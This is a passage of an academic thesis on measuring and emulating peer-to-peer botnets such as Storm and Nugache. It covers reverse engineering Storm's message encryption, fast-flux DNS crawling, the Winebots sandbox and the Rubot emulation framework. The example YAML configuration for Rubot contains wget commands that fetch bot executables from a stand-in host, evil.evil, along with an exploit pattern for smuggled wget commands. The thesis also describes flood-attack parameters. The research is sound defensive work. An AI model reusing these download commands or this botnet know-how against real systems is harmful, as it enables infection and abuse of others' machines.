Instead, a more targeted approach is required.
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CHAPTER III

P2P BOTNET MEASUREMENT

To build the models for inclusion into Rubot, actual code bases and botnets were

examined for their properties. This chapter begins by describing the process of ob-

taining botnet source code and the resulting analysis. Next, the Storm botnet is

described along with the steps taken to reverse engineer its functionality. This leads

to an argument that reverse engineering is too difficult and slow to effectively evalu-

ate botnets. Next, the Winebots framework is introduced followed by a description

of experiments in this framework of both the Storm and Nugache botnets. Then, a

discussion on botnet utility is included. The chapter ends with a summary of the

limitations faced by botnet researchers because of current practices.

3.1 Classifying Botnet Code-bases

While Chapter 2 argued that botnet code bases served as the basis of many seen mal-

ware samples, this section illustrates findings from examining the code bases. Using

a botnet code base for botnet research is problematic because of the difficulty of find-

ing the corresponding source code and working with the code once it is found. There

are code bases that contain back doors, hidden parts of code that allows an attacker

to control the program. Many of the interesting, larger botnets have professionally

implemented code bases, which are kept under tight control so that researchers will

never obtain the code. These qualities of botnet code bases underlie the argument

of the futility of using the code bases for botnet research. In this section, I relay my

personal search for obtaining botnet source code bases followed by an analysis of their

contents.
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3.1.1 Collecting Botnet Source Code

At first, collecting botnet code bases was quite difficult because researchers are timid

about sharing malicious software with people they do not trust and malware authors

do not want the source code in the hands of researchers. By sneaking into a botmaster

community website, ryan1918.com, several hints were found for how to obtain source

code samples. There was a link to the source code for several older common botnets

released by MAB. The download torrent was found through a search on Pirates Bay

and downloaded with Bittorrent. Once some code was obtained, it was used in trade

with other researchers to obtain more botnet code bases.

3.1.2 Findings from Analyzing the Botnet Code Bases

By far the most popular code base in the obtained sample was the Agobot/Phatbot

series. The Agobot source code was released under the GNU Public License (GPL) by

Ago and written in very clean C++. One of the more advanced derivatives of Agobot

obtained, DJBot, contains a polymorphic packer, encrypted commands, sapphire en-

cryption, MD5 hashing, and SSL support. The header files from the base directory

are listed in Table 1 and illustrate the included features. For example, DJBot has

support for redirecting HTTP, HTTPS, generic route encapsulation (GRE), SOCKS,

and SOCKS5. DJBot supports a number of harvesters, scanners to find information

on the victim computer, for America Online (AOL) accounts, software keys, e-mail

addresses, and other interesting items in the registry. There are a number of scanners,

several network attackers, a sniffer, and a spamming module. DJBot is a full-featured,

mature botnet with modules for IRC control and a custom Peer-to-Peer (P2P) TCP

protocol. The P2P module is a simple multithreaded TCP server/client with the abil-

ity to perform message passing throughout the botnet. Almost all botnet source code

bases contained abilities for spamming and for distributed denial-of-service. Most had

some form of redirection, or proxy service for protecting the botmasters’ activities.
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Table 1: Header files from DJBot, an Agobot derivative.

3dnow.h consdbg.h hook.h radminscanner.h scanner.h
bnc.h cplugin.h installer.h random.h sdcompat.h
bot.h crypter.h irc.h redir gre.h shellcode.h
build.h cstring.h ircgate.h redir http.h smtp.h
cmdbase.h cthread.h logic.h redir https.h smtp logic.h
cmdline.h cvar.h mac.h redir socks.h sniffer.h
cmdopt.h ddos.h main.h redir socks5.h sockets.h
cmdshell.h harvest aol.h mainctrl.h redir tcp.h ssllib.h
commands.h harvest cdkeys.h message.h redirect.h utility.h
confbase.h harvest emails.h p2p.h resource.h
config.h harvest registry.h polymorph.h rsalib.h

Many of the smaller botnets, usually controlled by beginning botmasters, use

scripting languages like PERL or PHP. The PERL bots are usually small and limited

in functionality. Script-based bots commonly only have one or two methods to flood

networks and use PHP attacks to infect the victim host. All script-based botnets

in the acquired sample used IRC for the control channel. Upon visiting some of the

channels being used for active botnets, it was easy to tell who the botmasters were,

their location, and how few bots they controlled.

3.2 Analysis of Botnet Malware

There are two major ways to analyze malware samples: examining its code and its

behavior. To examine the code requires converting the malicious software from its

base binary form to a higher layer of abstraction. Malware authors have deployed

many techniques to thwart analysis by detecting virtual machines and debuggers, and

by encrypting (packing) the binary so that the only decrypted form of the program

is in memory and only for a short time. Also, malware authors are known to use

obfuscation techniques to make program understanding, the conversion of compiled

programs to higher-level representations, highly expensive for the researcher. I will

argue, primarily by example, that reverse engineering is far beyond most researchers’

expertise and time-frame for even a single malware sample.
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3.2.1 Reverse Engineering of the Storm Trojan

Storm appeared around January 2007 by sending record levels of spam with very

simple, repetitive subject lines. One of the subject lines referred to storms in Europe,

which caused this trojan to be dubbed as the Storm trojan [13]. The botmaster sends

spam to victims with links to Web sites (Figure 3). The Web sites use malicious

Javascript, as seen in Figure 4(a), to force the user to download the primary infection

binary. The decoded Javascript is in Figure 4(b). This example exploits the browser

to cause it to automatically download the primary infector, ecard.exe.

Figure 3: Spam e-mail enticing the victim to click and become infected.

The first-stage infector joins the victim to the Overnet peer-to-peer (P2P) network

and searches for the secondary infector. The updated bot generates a random hash

for its identity (peer hash) and connects to the Overnet network. Inside the binary,

there is a list of hosts used to bootstrap the communication to the P2P network.

After connecting, the bot searches using a generated search hash based on a random

number between 0 and 31 and the date. The answer used to be encrypted with a

64-bit RSA key and encoded with a custom base-64 algorithm. The decryption key

was hardcoded in the binary, but the modulus was part of the reply [13]. Once the

answer was decrypted, it yielded a URL, which pointed to the secondary infector.
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(a) Malicious, encoded JavaScript code to lead vic-
tim to download ecard.exe.

(b) The decoded JavaScript with shellcode and in-
structions to install ecard.exe.

Figure 4: Encoded and decoded, malicious JavaScript used by the Storm trojan.

To spoof messages into the Storm network, knowledge of the exact method of en-

cryption was needed. To find this method, the Storm binary was reverse engineered.

Since the binary was packed, encrypted and compressed, a custom version of QEMU,

an open-source virtual machine software, was created. This custom version of QEMU

can take memory snapshots and do full memory tracing. When an encrypted net-

work packet arrived, a script would detect it and take memory snapshots by sending

commands to QEMU. This yielded a mostly decrypted form of the binary in mem-

ory and allowed a partial disassembly, a conversion of machine code into assembly

instructions. However, the number and complexity of these disassembled instructions

were far beyond the scope of the available tools to perform program understand-

ing. Understanding modular exponentiation in C is hard and is nearly impossible to

comprehend at the assembly-level.

Since the ciphertext, plaintext, and decryption key were known (from [13]), mem-

ory trace analysis was used to reverse engineer the process of decrypting messages.

Functionality was added to QEMU to perform a complete memory trace for every

read and write to the memory subsystem. This produced an unmanageable amount

of log entries, but by applying filters, the decryption epoch could be located and
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analyzed by itself. This technique produced a 1 GB memory trace for several seconds

worth of CPU time.

Figure 5: Visualization of initial Storm connections from the Etherape tool.

The easiest way to describe the decryption process is to describe the encryption

process. Two checksums were computed, an XOR and an ADD checksum. Each byte

of the message was XORed together to form the XOR checksum and the ADD check-

sum was the arithmetic sum of the byte values, modulo 256. Then, an incrementing

counter was added in the format in Table 3. The message was chunked into 4-byte

blocks and encrypted using the RSA-64 cipher on each block to produce 8-byte blocks.

Each 8-byte block was stored in little-endian format. The result of the encryption was

then broken into 3-byte chunks such that the custom Base64 algorithm expanded it

to 4-bytes. Then, 0x21 was added each byte, modulo 256. These steps are illustrated

in Table 2. This encrypted message was placed into an Overnet search result message

(type: 0x11). This method of encryption ended in September 2007, when the new

Storm variant started the use of XOR encryption on all packets.

Table 2: Storm’s custom Base64 algorithm.
Plaintext t f r

Hex 0x74 0x66 0x72
Binary 0 1 1 1 0 1 0 0 0 1 1 0 0 1 1 0 0 1 1 1 0 0 1 0
6 bits 0 1 1 1 0 1 0 0 0 1 1 0 0 1 1 0 0 1 1 1 0 0 1 0

Hex 0x1d 0x06 0x19 0x32
Add 0x21 0x3e 0x27 0x3a 0x53

Ciphertext < ’ : S
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Table 3: Unencrypted Storm search reply message.
1 byte 1 byte 1 byte * bytes
XOR ADD COUNTER URL PADDING

3.2.2 Chasing Storms’s C&C

During the reverse engineering process, the botmaster changed the method for coor-

dinating bots. Previously, the botmaster used a statically-coded IP address to direct

the bots to the update site. The botmaster shifted to using a DNS name, rfthud.com,

to direct bots to the Web sites containing malware updates. Futhermore, rfthud.com

was a fast-flux domain, a domain that has constantly changing DNS entries for the

IPv4 and name server records to prevent IP-based blocking [43]. This tactic, used by

spammers and phishers, has started to attract the attention of security researchers.

The fast flux DNS architecture was measured as part of this work. From June 9th to

June 25th, the rfthud.com fast flux DNS network was crawled 22,000 times. There

were 21,779 hosts operating as DNS servers and 186,983 individual pairs of servers

(one server pointed to another). To place this in its proper perspective, google.com

has four name server records and less than 20 IPv4 records.

To show how rapidly the domains change, Figure 6 shows an overview of how

frequently each host appeared in the DNS crawls. There were several servers that

were very active in the spammer’s DNS network. Those servers were nearly always

on (but not always pointed to) and served DNS or hosted malware updates. The

foremost host was included in close to 12% of the DNS crawls and the second most

frequent host was included in less than 8% of crawls. The first 13 to 14 servers seen in

Figure 7 acted primarily as the domain’s name servers and could not be fluxed out as

quickly as the IPv4 records. After these dedicated servers, the remaining servers were

utilized at random. This tactic prevents IP-based blocking. To prevent hostname-

based blocking, the same name servers handled several hundred other domain names.

This could be ascertained because of the German passive DNS replication project
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RUS-CERT [15]. Passive DNS replication records builds a database of IP to hostname

mappings by passively monitoring all DNS packets at an ISP gateway. This database

can then be queried to see all the domains with the same IPs listed in the IPv4 records

or all the domains that share name servers.

Figure 6: Host index vs. inclusion count in DNS crawling.

Figure 7: Host index vs. inclusion count in DNS crawling for the first 100 hosts.

In late June, the attacker’s DNS servers stopped replying to the DNS crawler.

Other IP addresses could query the DNS servers. The attacker did not want people

monitoring the DNS fast fluxing servers. The fiends had a plan on how to divert

attention. Malicious javascript started appearing all over myspace.com on profiles

of attractive females [36]. Google’s security blog noted an increase in Phishing via

MySpace [39] and that this technique was used to extend the fast fluxing network.
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3.3 Winebots: Running Botnet Malware Samples Using
WINE

In 2006, Keshav Attrey and I studied the network connections of the Nugache peer-

to-peer botnet. Since the protocol was encrypted, researchers could not simply join

the network. The only remaining technique was to infect several computers and

monitor the traffic. This does not scale well and quickly exhausts the resources of

most labs. It requires unfiltered IP space and many computers to perform this type of

botnet monitoring. Dr. Copeland provided an unfiltered network and virtualization

was used to provide the machines. Heavyweight virtualization packages like VMware,

QEMU, and XEN require memory to be reserved for each host and quickly limits how

many hosts we can run on one computer. A scalable solution was needed in order to

achieve enough connectivity to the botnet for a proper measurement. WINE was the

near-perfect solution.

WINE is an independant implementation of the Windows API. It translates Win-

dows system and application calls into Linux equivalents. This means when an ap-

plication wants to use the operating system to perform actions, the API call can be

intercepted by WINE and handled through its implementation of the Windows API.

WINE comes with clean implementations of the system libraries, but it also supports

the use of Windows-native dynamic link libraries (DLL). In order to run Nugache,

it required several native DLLs and a good bit of reconfiguration. This allowed one

instance of Nugache to run, but it bound to all available IP addresses on the host and

shared the registry and file system with all other applications running within WINE.

The next step was to run different instances of WINE with different IP addresses.

This required modifying all the socket system calls in WINE to use a given IP address

for network communication. This still was inadequate as multiple WINE instances

still interacted with each other via the file system and the registry. Additional func-

tionality and configuration were added to provide process, registry, and file system
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separation. A 1.4 GHz Pentium 4 with 1 GB of RAM can run over 100 instances of

Nugache. Each instance’s memory footprint initially required 2 to 5 MB and grew

slowly over time. By running these experiments on a Linux box, the experiment had

the benefits of operating system protections to protect the host from the malware and

Linux firewalling to protect the network. WINE performed quite well for malware

analysis.

3.3.1 Nugache Worm Analysis

Nugache uses an encrypted peer-to-peer protocol called WASTE. WASTE [35] was

designed for smaller file-sharing networks where groups of friends form the peers of

the network. Friends can then serve as bridges to their groups of friends, effectively

extending the network. WASTE uses RSA-based encryption to secure the links and

to authenticate peers. This makes WASTE an attractive protocol to organize smaller,

resilient botnets. Many researchers claim that Nugache was a proof-of-concept botnet

because it was trivial to block its peer-to-peer traffic on TCP port 8.

To measure the Nugache botnet, multiple copies of the Nugache worm were exe-

cuted in the customized WINE environment. Each instance of Winebot was bound

to a different IP address and allowed each copy of Nugache to communicate as an

independent peer. The Winebot experiment ran intermittently for several weeks to

generate network traces of Nugache communications. To measure the connection rate

and the number of peers, the network traces were parsed to find peer connections.

These connections were compared with the peer information stored in the Windows

registries to calculate the connectivity, k, and the peer knowledge, p, of each winebot

after each trial. Figure 8 shows how the remote peers were grouped along the IPv4

space. The y-axis maps to the Winebots (the bottom being the first Winebot and the

top being the 125th) and the x-axis maps to the IPv4 space. The glyphs represent

connections between the peers and the Winebots. There was only short trial using
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125 winebots, causing the graph to appear to be lightly populated at the top. All the

other trials were run with 41 winebots. Over the course of two weeks, exactly 3600

distinct Nugache peers were contacted.

Figure 8: A connectivity scatterplot of Nugache Winebots to outside peers.

For the longest running of five trials, Trial 4 ran for five days and used cached

peer lists from the previous trial. The connected peers verses time graph, Figure 9,

shows that Winebot 1, which was seeded with peers from previous tests, found many

more peers over the duration of the experiment. Five of the bots never formed any

peers. During the stable period, the average number of connections per bot was 71.34

peers. The average peer knowledge, an average of the individual peer knowledge from

Figure 10, was 117.63 peers. These numbers are consistent with the other four trials,

shown in Figure 11.

Running Nugache in Wine showed that there was a scalable way to run a malware

sample and identify protocol characteristics. By running so many bots in parallel, the

size of the peer-to-peer botnet and the average connectivity ratio could be estimated.

Furthermore, it provides a controlled environment that can quickly and automatically

run malware samples for black-box analysis of its behavior.

33



Figure 9: Number of active peers per Nugache Winebot over time for one trial.

3.3.2 Storm Trojan Analysis

Measuring Storm presented two problems that were not in the Nugache measure-

ments. First, Storm uses UDP, which does not form static peering connections. Sec-

ond, Storm connected to the public Overnet network which may have been used by

file-sharing peers in addition to compromised hosts. Simply using port 7871 did not

provide a solid enough heuristic as network address translation can change the port

number used by the bot. Storm later used random ports to communicate. However,

the infected hosts exhibited strongly periodic Overnet searches with a unique search

type indicative of Storm-infected hosts. By joining many Winebots connected to the

botnet, it was possible to intercept enough Overnet communication to ascertain which

hosts were compromised.

David Dagon and I set up a cluster of computers and routed several subnets

from IP address ranges outside Georgia Tech. With 15 computers and approximately

300 IP addresses, we were able to perform mass joins to the Storm botnet. The

Winebots encountered over 1.3 million IP addresses in a five-day span and that list

of IPs was responsible for about 7% average and 25% peak of the world’s spam.
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Figure 10: Number of active peers per Nugache Winebot over time for one trial.

(Feel free to reread that last sentence for emphasis of the scale of this botnet.) The

spam measurement was done by a well-established spam-filtering company with over

100,000 spamtraps all over the world. The percentage only pertains to e-mails marked

as spam by the filters. After the initial two week run, GTISC attained a high-end

server and mapped all the subnets to it. The machine ran over 400 instances of

Winebots from May 25th to July 4th. In this time, Winebots discovered close to 8

million unique IP addresses connected to the Overnet network, nearly 80% of which

were infected (determined by the heuristics discussed above). The plot of total unique

IP address sending searches to the Winebot network can be seen in Figure 12. The

green line represents how many unique peers are contacted each hour, irrespective if

the IP was seen before in a previous hour.

Storm used the Overnet protocol to query the download site address for updates.

The updates were encrypted, but the bots performed a cleartext HTTP file download,

revealing the URL embedded in the encrypted message. Furthermore, because of the

reverse engineering work, the messages were able to be decrypted in real time to

monitor for changes. For a thorough discussion of Storm, see [13, 16].
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Figure 11: Number of peers per Nugache Winebot for each trial.

Figure 12: Storm IP discovery counts, cumulative and hourly.

3.3.3 Botnet Size Estimation

Since the Winebot framework can join a peer-to-peer network and discover peers

quickly, a model can be applied to estimate the size of the botnet. To do so in a

black-box fashion, we have to measure the average link degree of our Winebots and

measure how many links are made between other Winebots (Figure 13). If a botnet

is very small and has a high average link degree, a small number of Winebots would

be able to point to other Winebots. However, if the botnet is very large compared

with the number of Winebots and has a low average link degree, the probability of
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one of the Winebots being chosen as a peer of another Winebot would be very low.
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Figure 13: Winebots Overview for measurement purposes.

The analytical model to extrapolate the botnet size from the sampling technique

above was developed by David Dagon, Guofei Gu, and Robert Edmonds [9]. It denotes

the botnet membership (size) as Ω and assumes that when a new host joins, it connects

to an average of k randomly selected peers within the botnet. The probability that

one of the m Winebots connects to another Winebot is given as:

ρm = 1− (Ω
k)

(Ω+m
k )

= 1− Ω
Ω+m

Ω−1
Ω+m−1

... Ω−k+1
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In Figure 14, the probability of a self link to a previous Winebot member m, ρm,

is drawn. ρm decreases as the size of the botnet, Ω, increases or the average node

degree, k, decreases.
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Figure 14: ρm, vary Ω, k and fix m = 200

3.4 Utility-Based Taxonomy of Botnets

Using the same Winebot experimental framework, the idle throughput of bots was

measured to estimate the affects on the overall effective throughput a botnet could

have when performing a distributed denial-of-service (DDoS) attack. The premise

is that different peer-to-peer structures have utility for various purposes based on

their size, bandwidth, efficiency, and robustness. A spamming network would need

efficiency to send spam quickly before being blocked, but it does not need to be as

large, robust, or as high-bandwidth. A DNS fast fluxing network primarily needs

robustness followed by bandwidth and efficiency. A DDoSing network needs to be

efficient at first to receive commands quickly, but bandwidth is the primary factor for

effectiveness. These attributes of peer-to-peer structures were chosen because they

aid in remediation.

3.5 Problems with Direct Measurements of Botnets

Using honeypots, virtual machines, or even the Winebot framework to run and mea-

sure botnets directly presents a series of shortcomings and risks. When monitoring
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real botnets, the research can only view a small portion of the overall activity. Before,

it was assumed that if one bot received a command from an IRC channel, then all

connected bots received the same command. However, with peer-to-peer structure,

virtual machine detection, advancing botnet management schemes, and monitoring

avoidance techniques employed by botmasters, the researcher sees different activity

in one place verses another. This phenomenon was observed during the Storm exper-

iment when a text box was black-listed because it was too overt.

Since the software under evaluation is malware, it can do malicious activities such

as spam, DDoS, and spreading, all of which imposes liabilities on the researcher.

Care must be taken to block malicious activities from escaping the experimental

network or destroying the results. However, by blocking certain activities, the bot

under evaluation has a different outward appearance and could tip off the botmaster.

For example, if outbound TCP rate limiting is used, (an unusual configuration for

normal victims, but a common one for Honeynets), and the botmaster notices a bot

that sends only a few packets per minute, then the researcher’s bot is uncovered. This

would lead to an immediate and permanent ban on that IP subnet, which leads us to

our last problem.

Evaluating botnets directly requires quite a bit of hardware and networking re-

sources. Without the Winebot framework, the most scalable solution would be virtual

machines. Windows 2000 can run most modern malware and only requires 80 MB

of RAM per virtual machine. However, it becomes CPU intensive after three or four

instances, which quickly limits how many bots the researcher can join to the network.

Also, un-firewalled IP space is optimal for running multiple bots. We initially used an

open subnet in our lab and later, rented IP space from an Internet service provider.

As soon as the botmaster blocks the remainder of our IP space, we will have to use

dial-up accounts. Anonymous proxy networks such as Tor are insufficient for this

work.
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This limitation, in addition to those addressed above, promotes the creation of a

realistic experiment framework. The framework should emulate the following botnet

behaviors: spreading, communication to the C&C or P2P network, Web services, and

DNS traffic.
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CHAPTER IV

THE RUBOT FRAMEWORK

The Rubot framework consists of the botnet implementation framework and support-

ing services. The botnet implementation framework allows researchers to implement

botnets for experimentation. The framework contains a core engine, which is respon-

sible for loading the configuration, instantiating components, and performing message

passing between the components. The components are responsible for the behavior

of the bot.

The core engine, the Engine class, has two subclasses, Host and Bot, as seen in

Figure 15. There are no differences between the Engine, Bot, and Host classes. They

are aliases that are used for clarity. The Host class represents a computer and can

run vulnerable services and bots. The Bot class emulates a running piece of malware

with the functionality of the components it loads. An instance of the Bot class does

nothing without components to emulate bot-like behavior. The Bot and Host classes

simply provide the services that components need to run, such as message passing

and storage.

The components are grouped into four categories as follows:

• Vulnerabilities. Components in this group emulate vulnerabilities such as vul-

nerable servers, e-mail attachment opening, and Web browser-based drive-by

downloads.

• Attacks. These components include activities such as exploiting a vulnerable

service, sending spam, and performing a packeting attack.

• Updating. This special component allows a bot to load a new configuration as
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if it were updated.

• C&C Communications. These components are responsible for communicating

to the command and control or the P2P botnet.

Engine

run()
stop()
recv(Event)
send(Event)
store(db, key, val)
retrieve(db, key)
load(Config)

Bot Host

Component
parent : Engine
name : String
run()
stop()
sleep()
wake()
recv(Event)
send(Event)

1 *

VulnerableSe
rvice EmailTrojan

WebTrojan WebDriveBy

IRC HTTP

P2P

Update

Packeting Spam

Vulnerabilities
C&C Com

m
s

Attacks
Update

Worm

Figure 15: UML diagram of the Rubot framework objects.

Researchers can use prepackaged components and integrate together with their

own components to form the desired botnet for study. This allows for rapid proto-

typing of new botnet configurations with reproducible experiment conditions.

The included supporting services allow the researcher to set up an internet-like

system on a closed network. These services include entities like Internet Relay Chat
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(IRC), Domain Name Servers (DNS), Web servers, search engines, and Instant Mes-

senger (IM) services. These services enable the botnet to operate in a controlled, yet

realistic networking environment.

4.1 The Rubot Core Engine

Rubot uses threads to run the core and the components. Threads were chosen over

event-queue and select/poll implementations to simplify the creation of components.

To implement a new component, very few methods need to be coded before the

component can operate within the framework. When the engine starts, it reads the

configuration, initializes the required components, and starts each component in its

own thread. The engine then waits for messages from the components and dispatches

them to other components. Callback functions are used to enable communication

between the modules and for dynamic behavior.

Exploit
exploit : Regex
callback : function

Figure 16: Diagram of the Exploit class.

The configuration for an Rubot is expressed in a hierarchical data structure. This

structure can be read in from configuration files written in YAML, a simplified markup

language, or can be formed in code. Then, the Rubot core engine takes the config-

uration to start the services and bots by passing the related configuration to each

instantiated component.

An example configuration is given in Figure 17. In this example, the host has a

vulnerable Web server running. When the Web server receives a payload matching

the exploit regular expression, it calls the exploit callback function. The callback

must be implemented by the researcher. In this case, the callback would likely down-

load the URL given in the exploit and then load a bot configuration. There are two
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bot definitions in this configuration file, bot1 and bot2. In the first configuration,

bot1, there are three components defined: IRC, packeting, and update. The IRC

component is configured to connect to Freenode on the #evil channel and listen for

commands from b0tm4st3r. Since the packeting component defaults to supporting all

the included packeting types, no specific configuration is needed. The update compo-

nent allows the researcher to simulate an update to the second botnet configuration,

bot2. In the second configuration, the bot connects to a different IRC channel and

listens for commands from a different botmaster. The second configuration also has

spamming capabilities, at a rate of 10 e-mails per second, and an update configu-

ration. This type of configuration is useful to describe the creation, via the exploit

component, and subsequent renting of a botnet via reconfiguration.

Host

Bot

IRC

Packeting

Update

Vulnerable 
Server

(a) Instantiation tree.

host:

vulnerable service:

port: 80

exploits:

- exploit: /^GET .*\?cmd=wget ([^\&]*)/

callback: create_bot("bot1")

bot1:

irc:

server: irc.freenode.net

channel: "#evil"

botmaster: b0tm4st3r

packeting:

update:

method: wget http://evil.evil/bot2.exe

newconfig: <bot2>

bot2:

irc:

server: irc.freenode.net

channel: "#money"

botmaster: c4sh$

spam:

rate: 10

update:

method: wget http://evil.evil/update.exe

newconfig: <bot1>

(b) YAML configuration.

Figure 17: Example of an IRC-based bot with spamming and packeting capabilities.

The overall experiment deployment is still quite manual. The configuration must

be replicated to the nodes and infrastructure services, such as DNS, need to be con-

figured. Automating this deployment is left to future work.
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There are two likely experiment scenarios, one where the botnet starts as a con-

nected botnet with all members already in the infected state and another where the

potential members are not in the infected state, but are waiting to be exploited and

recruited into the botnet. A spreading botnet experiment uses an emulated vulner-

ability, enabled via the vulnerable service component, and allows for bots to spread

through a variety of emulated vectors.

4.2 Vulnerability Components

To enable epidemiology studies on botnets and worms, several components are in-

cluded to enable spreading. For example, if a worm-like behavior is desired, the re-

searcher would use a vulnerable service component to emulate the vulnerable server

and a worm attack component to emulate the infected host trying to infect others.

Another common malware spreading vector, e-mail, would be emulated using an e-

mail trojan component and a spamming component. The spam component would

send e-mail messages, containing the vulnerability pattern, to SMTP servers and the

e-mail trojan component would emulate the user fetching his or her e-mail from the

server and opening the attachment to become infected. The last common spreading

vector supported in the Rubot framework is the Web-based exploit model.

Vulnerable Service
exploits : Exploit[]
port: int

Email Trojan
exploits : Exploit[]
effectiveness : int
interval : int

Web Drive By
urls : String[]
rate : int
exploits : Exploit[]

Web Trojan
url : String
effectiveness: int
exploit : Exploit

Figure 18: Configuration options for the vulnerability components.

4.2.1 Vulnerable Service Component

Before describing the botnet spreading components, it is beneficial to describe the vul-

nerable service component (VSC), seen in Figure 18. The VSC allows the researcher

to emulate vulnerabilities that can be exploited to enlist a peer to join a botnet. By
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emulating vulnerabilities, there are no ethical issues of exploit development and the

emulated vulnerability can match any signature the researcher is testing for. Typ-

ically, a vulnerable service listens on a port and receives connections. The VSC is

configured with an exploit filter, a pattern that describes what a malicious payload

looks like and how to interpret the exploit. Once a client sends a payload that matches

the exploit filter, the component will enable new behavior. The most common behav-

iors in response to an exploit are to open a backdoor port or to download a malicious

payload from a Web server. To keep the exploit and the payload sizes realistic, all

behavior code should already be available to the peer being exploited and the VSC

needs only to activate the new behavior. The most natural attack component for this

model would be the worm component.

To support this component, the following parameters are required:

• exploits, an array of Exploit objects.

• port, the TCP/IP port to listen on.

Each item in the exploits array must have the following parameters:

• exploit, a regular expression to match against the payload.

• callback, a function to call when an exploit is successful.

4.2.2 Email Trojan

The e-mail spreading component, like the web components, works on in poll-like

manner in that the victim must access and fall prey to the exploit. This component

emulates the process of an attacker sending spam and the victim receives and acts on

it. For this model to emulate a realistic scenario, it has to work with the spamming

component.

• rate, the frequency that the victim user checks his or her e-mail.

46



• effectiveness, the probability that the e-mail is acted upon resulting in the

victim’s computer becoming infected.

• callback, a function called if the trojan is considered successful.

4.2.3 Web Trojan and Drive-by Download

With a Web-based trojan, there are two main ways for a victim to find a malicious

Web site. The victim may find the URL in a spam e-mail or by a Web search. When

the victim visits the website, his or her browser downloads the Web page. In a trojan-

based exploitation scenario, the user must decide to install and run the malware. For

a drive-by download exploit, the browser is exploited into automatically installing and

running the malware. In either case, this is simplified to a probability of infection

once the page is downloaded. The main difference between the two models is the

pause between the downloading of the page and the download of the exploit.

The drive-by component has the following properties:

• urls, an array of URLs.

• rate, the frequency that the user crawls through the URLs.

• exploits, an array of Exploit objects.

The trojan component has the following properties:

• url, the URL to visit.

• effectiveness, the probability that the victim will install the malware.

• callback, a function called if the trojan is considered successful.

4.3 Attack Components

In this section, I describe the various components for spreading, the method used

to infect nodes in order to form the botnet, and attacking. To be able to spread,
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there must be a matching vulnerability such as a vulnerable service or a user tricked

into installing malware. For the spam attack component, the natural vulnerability

is the e-mail trojan vulnerability component. For the worm attack component, the

natural vulnerability is the vulnerable service component. The remaining attack

component, packeting, is simply used to generate copious quantities of packets to

launch a distributed denial of service (DDoS) attack.

Packeting
type : String
rate : int
target : String
duration : int

Spam
template : String
emails : String[]
rate : int

Worm
rate : int
model : String
payload : String

Figure 19: Configuration options for the attack components.

4.3.1 Worm-based Spreading

Since the VSC allows a node to emulate a vulnerability, it is easy to create a worm-

like spreading component. As part of the behavior that the VSC enables, the newly

infected peer sends malicious payloads to other nodes on the network. If the other

nodes are emulating the same vulnerability, then those nodes would also become

infected and begin to spread. At this time, polymorphism is not directly supported.

All vulnerabilities, payloads, and infections are virtual and would not affect a normal

PC.

This component has the following properties:

• rate, the number of victims to scan per second.

• model, the victim IP generation method, random or linear.

• payload, the malicious payload.
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4.3.2 Spamming

The spamming component uses templates and e-mail lists to generate spam. The

spam e-mails are sent to SMTP servers. The SMTP servers are then responsible for

storing the messages for pick-up by the victims. The victims then poll the SMTP

server to receive the spam message. Spam templates and e-mail lists are typically

downloaded via HTTP or by a custom TCP connection. Once the template and

lists are downloaded the spamming component sends spam at the given rate. The

component has the following properties:

• rate, the number of e-mails to send per second.

• templates, the spam templates.

• emails, an array of e-mail addresses.

4.3.3 Packeting Components

Almost all botnets have spamming and packeting functionalities, since they generate

the most revenue. The packeting components generate packets of different types,

rates, and sizes. Although there are many types of TCP packeting attacks, such as

PhatWonk, PhatSYN, PhatICMP, SYNFlood, Targa3, and HTTPFlood, only the

SYNFlood model is supported. The SYNFlood attack component sends TCP SYN

packets to a given IP address and port number combination at the provided time and

rate. The UDPFlood model sends UDP packets to a given target at the provided

time and rate. The ICMPFlood model sends ICMP packets of a specified type to a

given target at the provided time and rate.

• type, the type of packets generated. This should be one of UDP, TCPSyn, or

ICMP.

• rate, the number of packets to send per second.
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• target, the IP and port of the victim. In the case of ICMP, this should be the

IP, ICMP type, and ICMP code.

• duration, the duration of the attack in seconds.

• payload, the payload of the packet. For TCPSyn, this is almost always None.

For ICMP, it is usually None and for UDP, it is almost always defined.

4.4 Updating Component

Botmasters often update the malware installed on victims to enable new functionality

or to rent out the botnet. The updating component allows a botnet to update itself

by loading a new configuration. The component is responsible for selecting the new

configuration for the bot and restarting the bot with the selected configuration. The

configurations are keyed by name, so each possible bot configuration desired in the

experiment must be defined in the configuration file. In future work, network-based

passing of configuration will be considered.

4.5 C&C Communication Models

The primary focus of this work is modeling C&C communication and in particu-

lar, P2P-based control. Since a predominant number of botnets were and still are

controlled via IRC, an IRC-based control component is provided. Since HTTP-based

control is the second most popular form of control, a component is provided within the

framework. The TCP- and UDP-based P2P control models are much more complex,

requiring bootstrap peers.

4.5.1 IRC-based Control Model

The IRC component connects to a specified IRC server and channel. It then listens

for commands from the botmaster. The botmaster is identified by a nick, a chosen

identity used when on IRC. The botmaster send commands to the bots via messages
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IRC C&C
server : String
port : int
channel : String
admins : String[]
callback : function

HTTP C&C
url : String
interval : int
callback : function

UDP P2P
bootstrap : String[]
degree : int
hello : int

TCP P2P
bootstrap : String[]
degree : int

Figure 20: Configuration options for the communication components.

posted to the chat room. The bots are listening to messages on the chat room and in-

terpret them. The first word of the command is used as the key to the defined callback

functions, with the remainder of the line treated as parameters. The configuration

parameters for the IRC component follow:

• server, the IP address of the IRC server.

• port, the port number of the IRC server (defaults to 6667).

• channel, the IRC chat room to join.

• admins, a list of nicks, botmasters, from which to accept commands.

• callback, a function to process each line of input from the admins.

4.5.2 HTTP-based Control Model

The HTTP component repeatedly polls a Web site to obtain new instructions. Once

the page is downloaded, the contents of the page is given to a callback function.

The callback function is responsible for parsing and interpreting the contents of the

downloaded Web page. The HTTP component supports the following configuration

options:

• url, the URL address of the Web page to poll for instructions.

• rate, the time between polls of the Web page.

• callback, a function that is called each time the Web page is downloaded.
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4.5.3 P2P Protocol Control Models

P2P protocols are very complex and vary widely in how they maintain their networks.

The Rubot framework supports the implementation of many types of botnets by di-

viding the functionality of the P2P component into the following four subcomponents:

• Peer Management. This subcomponent is responsible for tracking peers and

managing active connections. This subcomponent may contain logic to include,

exclude, and select peers for various tasks. It may contain additional routing

information to enable these types of decisions. With connectionless transport

protocols, this subcomponent would commonly send keep-alive requests other

peers. With connection-based protocols, the presence of the connection is gen-

erally enough to verify that the peer is still active.

• Message Passing. The message passing subcomponent relays message, usually

commands, through the network, but is not responsible for formating the com-

mands for the network. Messages typically could contain commands and rarely

contain stolen information or malware updates. Messages could be routed or

broadcast throughout the network.

• Search/Publish. This handles the advertising and searching for resources in the

P2P network. Bots generally publish themselves to advertise their presence and

search for links to updates and spam templates.

